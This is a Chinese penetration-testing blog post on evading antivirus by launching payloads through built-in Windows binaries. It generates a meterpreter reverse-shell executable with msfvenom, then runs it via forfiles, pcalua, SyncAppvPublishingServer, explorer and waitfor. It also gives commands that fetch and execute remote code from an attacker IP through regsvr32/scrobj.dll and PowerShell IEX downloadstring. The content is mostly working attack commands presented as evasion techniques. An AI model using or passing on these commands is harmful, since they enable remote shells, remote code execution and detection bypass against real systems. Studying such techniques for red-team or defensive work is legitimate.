“在渗透测试中,常常会遇到这种情况,上传一个shell上去,连上,却发现无法调用cmd.exe无法执行系统命令,这时候你往往想着,上传一个自己的cmd.exe上去,这是一套行云流水的操作,但把环境条件在变得苛刻一点,杀毒软件将监视二进制文件,例如cmd.exe,那么你会怎么做才能逃避检测?那么接下来就会介绍一些免杀思路。”
01
背景
Windows系统提供了多个二进制文件,可以使用它们执行任意命令。
在这,你是不是想到了什么?既然可以执行命令,那么它将帮助hacker们逃过检测,尤其是对cmd.exe监视的环境下。
当然这需要一些前提条件:未正确配置白名单规则(这里涵盖了文件名和路径),使得一些系统可执行文件能够执行。
接下来
让我们看看这些项免杀技术的闪光点!
02
正文
我们先用msfvenom生成一个木马程序:
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.73.136 lport=8888 -f exe -o hacker.exe
Msf监听端口8888
Forfiles:
首先,要说明的是,forfiles是Windows Server 2003内置的命令行文件,其它系统未必适用。不过,win2003以上的系统,包括win7、windows server 2008均适用哦。forfiles 是一个命令实用程序,可以选择多个文件并在它们上运行命令,它通常用于批处理作业中,但可能会被滥用以执行任意命令或可执行文件。
语法须知:
默认搜索掩码为*,也使用参数 / p和/ m在Windows目录System32 和掩码calc.exe 上执行搜索,/ c参数之后的所有内容都是实际执行的命令。
命令:
代码语言:javascript复制forfiles /p c:windowssystem32 /m calc.exe /c C:tmphacker.exe
Msf开启会话:
毫无疑问的是,Hacker.exe 将是forfiles.exe子进程。
当然也可以用windows自带的“运行”来执行命令。
Pcalua:
进程兼容性助手是Windows实用程序,当它检测到存在兼容性问题的软件时就会运行。该实用程序位于“ C: Windows System32 ”中,并且可以使用“ -a”参数执行命令。
命令:
代码语言:javascript复制pcalua.exe -a C:tmphacker.exe
Msf打开会话:
值得注意的是,hacker.exe将是一个新的父进程。
后面就不一一截图了,大家自行下去验证就欧克了
SyncAppvPublishingServer:
SyncAppvPublishingServer 为启动Microsoft应用程序虚拟化(App-V)发布刷新操作,在下面的示例中,将在powershell中执行, Start-Process cmdlet用于运行可执行文件。
命令:
代码语言:javascript复制SyncAppvPublishingServer.vbs "n; Start-Process C:tmphacker.exe"
由于SyncAppvPublishingServer将执行双引号中包含的所有内容,因此还可以使用“ regsvr32 ”方法从远程位置执行恶意有效负载。
命令:
代码语言:javascript复制SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.73.136:8080/jnQl1FJ.sct scrobj.dll"
Explorer:
可以将explorer.exe 用作执行方法。执行的有效负载将在系统上创建一个进程,该进程将把explorer.exe作为父进程。
命令:
代码语言:javascript复制explorer.exe C:tmphacker.exeexplorer.exe /root,"C:tmphacker.exe"explorer.exe 0XAXSDD-Hacker, "C:tmphacker.exe"
Waitfor:
waitfor是Microsoft二进制文件,用于通过发送信号来跨网络同步计算机,也可用于执行任意命令或下载有效载荷。
命令:
代码语言:javascript复制waitfor hacker && PowerShell IEX(new-object net.webclient).downloadstring('http://192.168.73.136:8080/shell');
waitfor /s 127.0.0.1 /si hacker
当然这里只总结了一些,也没总结完,但也值得学习与思考,希望能给你一个好的思路!
END